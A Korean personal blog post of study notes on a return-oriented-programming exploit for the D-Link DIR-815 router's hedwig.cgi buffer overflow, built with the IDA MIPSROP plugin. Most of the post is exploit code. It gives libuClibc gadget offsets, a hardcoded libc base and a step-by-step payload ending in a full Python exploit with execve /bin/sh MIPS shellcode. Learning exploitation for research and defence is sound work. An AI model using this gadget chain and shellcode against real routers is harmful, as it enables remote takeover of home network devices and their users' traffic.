Self-Improvement

MIPS ROP Case 1 (Shellcode, MIPSROP IDA Plugin) 본문

MIPS

MIPS ROP Case 1 (Shellcode, MIPSROP IDA Plugin)

JoGeun 2021. 3. 23. 14:51

f5.pm/go-27657.html

 

D-Link DIR815路由器缓冲区溢出漏洞再分析

[TOC] 00-前言 之前跟着《揭秘家用路由器0day漏洞挖掘技术》调试分析过该漏洞,主要是从qemu用户模式进行分析调试,因为太菜了并没有getshell,在参考了其他师傅的分析文章和帖子后,这次分析

f5.pm

실제 실습할 수 있는 장비가 없기 때문에 위 블로그의 내용을 바탕으로 이해한 것을 적어보자.

Shellcode 형식의 ROP를 진행하기 위해선 Sleep() 함수를 호출하여 캐시 coherence를 해결한다.

 

ROP

BOF가 발생하는 hedwig.cgi 바이너리 함수에서의 에필로그 부분이다.

스택에 있는 값을 각 레지스터로 저장한 뒤 $ra는 var_4($sp) 스택 값에서 가져와 jump하게 된다.

libuClibc-0.9.30.1.so 라이브러리에서 가젯들을 찾아주며 IDA의 MIPSROP 플러그인 기능을 사용한다.

(ASLR이 걸려있다면 라이브러이서의 가젯은 사용 불가능)

 

ROP 가젯1 (0x57E50 + lib_base_addr)

sleep() 함수를 호출할 때 사용할 인자를 셋팅해줄 가젯을 찾아준다.

mipsrop.find("li $a0,1")

 

2번째 0x57E50 가젯 주소를 더블클릭 하면 세부적으로 구성된 코드형식을 볼 수 있다.

1. $a0에 1을 대입해준다.

2. $s1의 값을 $t9로 대입해준다.

3. $t9에 있는 값으로 jump한다. ($t9 = $s1)

* mips의 특징 중 분기지연슬롯이 존재하며 jump 명령어 다음의 명령도 실제로는 수행을 한다. (가젯1에서는 불필요)

여기서 $s1에 sleep() 함수를 넣을 수 만 있다면 쉽게 호출할 수 있지만 호출되고 난 후의 다음 단계 ROP가 불가능함으로 이어 나갈 수 있는 가젯을 찾아 준다. ($ra)

 

ROP 가젯2 (0x3B8A8 + lib_base_addr)

$ra, $s0 등의 레지스터를 셋팅해주는 에필로그의 특정 가젯들을 찾아준다.

mipsrop.tail()

 

리스트 중 0x3B8A8을 확인하며 가젯2의 스택 공간은 0x28이다.

1. $s2의 값을 $t9에 셋팅한다.

2. 스택의 0x24($sp) 위치의 값을 $ra로 셋팅한다.

3. 스택의 0x20($sp) 위치의 값을 $s2로 셋팅한다

4. 스택의 0x1c($sp) 위치의 값을 $s1로 셋팅한다

5. 스택의 0x18($sp) 위치의 값을 $s0로 셋팅한다.

6. 스택의 공간 0x28를 제거해준다. (즉 가젯2를 시작할 땐 스택의 공간이 0x28만큼 차지, 분기지연슬롯 특징)

7. $t9로 jump 한다. ($t9 = $s2)

 

Sleep 함수 (0x56BD0 + lib_base_addr)

libuClibc-0.9.30.1.so 라이브러리에서 sleep 함수의 offset은 0x56BD0이다.

 


 

중간 점검

현재까지 가젯1, 가젯2, sleep 함수를 얻었으며 조합으로 sleep() 함수를 호출할 수 있게 된다.

BOF가 발생한 함수의 에필로그를 다시 확인해보면 스택에서 각 레지스터들을 셋팅을 할 수 있게 된다.

 

1. $ra(var_4($sp)) 위치에 가젯1 (0x57E50 + lib_base_addr)을 넣어준다.

2. $s1(var_24($sp)) 위치에 가젯2 (0x3B8A8 + lib_base_addr)을 넣어준다.

3. $s2(var_20($sp)) 위치에 sleep() 함수(0x56BD0 + lib_base_addr)를 넣어준다.
payload  = 'A' * 0x3cd
payload += 'A' * 4                        # s0
payload += p32(libc_base + gadget2)       # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep)         # s2 = jr $(sp+0x24)
payload += 'A' * 4                        # s3
payload += 'A' * 4                        # s4
payload += 'A' * 4                        # s5
payload += 'A' * 4                        # s6
payload += 'A' * 4                        # s7
payload += 'A' * 4                        # fp
payload += p32(libc_base + gadget1)       # fisrt_ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x28                     # mipsrop.tail() 0x28 padding

가젯 1이 $ra가 되어 호출되어 지고 $a0에 1을 설정한 후 $s1에 있는 값으로 jump하게 된다.

 

사전에 $s1에 설정된 값은 가젯2이며 $s2에 있는 값을 $t0에 설정하게 되어 jump하게 된다.

가젯2 스택의 0x24($sp)에 있는 값이 $ra로 설정하게 된다. (최종 결과에서 셋팅)

 

사전에 $s2에 설정된 값은 sleep()함수 주소로 호출되어 $a0에 설정된 값 1로 인하여 sleep(1)이 호출된다.

여기까지는 정상적으로 실행이 되었음으로 다음은 이어서 Shellcode를 수행하는 ROP를 작성한다.

 


 

ROP 가젯3 (0x14F28 + lib_base_addr)

sleep() 함수가 끝나고 가젯2 스택의 0x24($sp)에 있는 값이 $ra로 셋팅되어 다음 가젯을 부를 수 있게된다.

우선 Shellcode를 실행하기 위해 쉘코드의 주소를 레지스터에 할당해주는 가젯들을 찾아본다.

mipsrop.stackfinder()

 

리스트중 0x14F28 가젯을 확인해본다.

1. $s1에 $sp+0x18의 주소값을 셋팅한다 ( 현재 스택의 주소는 가젯3을 호출한 시점부터 이다. 
가젯2에서 설정된 0x28 스택 크기가 지워지고 난 뒤)

2. $s4의 값을 $t9에 셋팅한다

3. $t9로 jump 한다. ($t9 = $s4)

 

ROP 가젯4 (0x1DD08 + lib_base_addr)

가젯3에서 $s1에 스택의 주소값을 할당받았음으로 호출하는 가젯을 찾아주면 된다.

mipsrop.find("move $t9,$s1")

 

리스트중 0x1DD08를 확인한다.

1. $s1의 값을 $t9에 셋팅한다

2. $t9로 jump 한다. ($s1 = $t9)

 

최종 결과

이제 기존의 sleep(1) 함수를 호출한 코드에서 가젯3, 가젯4, shellcode를 붙혀주자.

 

1. sleep(1) 를 수행할 시 가젯2의 스택 공간 크기는 0x28이였고 var_4($sp)의 값이 $ra에 셋팅이 된다.

가젯 2의 $ra에 가젯3으로 가는 주소를 넣어주자.

payload = 'A' * 0x3cd
payload += 'A' * 4                        # s0
payload += p32(libc_base + gadget2)       # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep)         # s2 = jr $(sp+0x24)
payload += 'A' * 4                        # s3
payload += 'A' * 4                        # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
payload += 'A' * 4                        # s5
payload += 'A' * 4                        # s6
payload += 'A' * 4                        # s7
payload += 'A' * 4                        # fp
payload += p32(libc_base + gadget1)       # fisrt_ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x24                     # mipsrop.tail() 0x24 padding
payload += p32(libc_base + gadget3)       # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4

 

2. 가젯3에서 $s4에 있는 값이 $t9에 셋팅되고 jump를 함으로 BOF가 발생하는 스택공간의 $s4 할당 부분에 가젯4를 넣어준다.

payload = 'A' * 0x3cd
payload += 'A' * 4                        # s0
payload += p32(libc_base + gadget2)       # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep)         # s2 = jr $(sp+0x24)
payload += 'A' * 4                        # s3
payload += p32(libc_base + gadget4)       # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
payload += 'A' * 4                        # s5
payload += 'A' * 4                        # s6
payload += 'A' * 4                        # s7
payload += 'A' * 4                        # fp
payload += p32(libc_base + gadget1)       # fisrt_ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x24                     # mipsrop.tail() 0x24 padding
payload += p32(libc_base + gadget3)       # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4

 

3. 가젯3에서 $s1에 $sp, 0x18의 주소값을 넣었기 때문에 그에 맞는 padding을 추가해주고 shellcode를 추가하면 끝이난다.

payload = 'A' * 0x3cd
payload += 'A' * 4                        # s0
payload += p32(libc_base + gadget2)       # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep)         # s2 = jr $(sp+0x24)
payload += 'A' * 4                        # s3
payload += p32(libc_base + gadget4)       # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
payload += 'A' * 4                        # s5
payload += 'A' * 4                        # s6
payload += 'A' * 4                        # s7
payload += 'A' * 4                        # fp
payload += p32(libc_base + gadget1)       # fisrt_ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x24                     # mipsrop.tail() 0x24 padding
payload += p32(libc_base + gadget3)       # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4

payload += 'c' * 0x18                     # mipsrop.stackfinder() 0x18 padding
payload += shellcode

 

종합

libc_base = 0x76738000
sleep = 0x56BD0
gadget1 = 0x57E50
gadget2 = 0x3B8A8
gadget3 = 0x14F28
gadget4 = 0x1DD08

# Linux/MIPS - execve /bin/sh - 48 bytes
shellcode = "\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c"  # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c"  # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01"  # syscall 0x40404

payload = 'A' * 0x3cd
payload += 'A' * 4                        # s0
payload += p32(libc_base + gadget2)       # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep)         # s2 = jr $(sp+0x24)
payload += 'A' * 4                        # s3
payload += p32(libc_base + gadget4)       # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
payload += 'A' * 4                        # s5
payload += 'A' * 4                        # s6
payload += 'A' * 4                        # s7
payload += 'A' * 4                        # fp
payload += p32(libc_base + gadget1)       # fisrt_ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x24                     # mipsrop.tail() 0x24 padding
payload += p32(libc_base + gadget3)       # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4

payload += 'c' * 0x18                     # mipsrop.stackfinder() 0x18 padding
payload += shellcode

 

추후 ROP가 가능한 취약점을 발견할 시 시도해보자.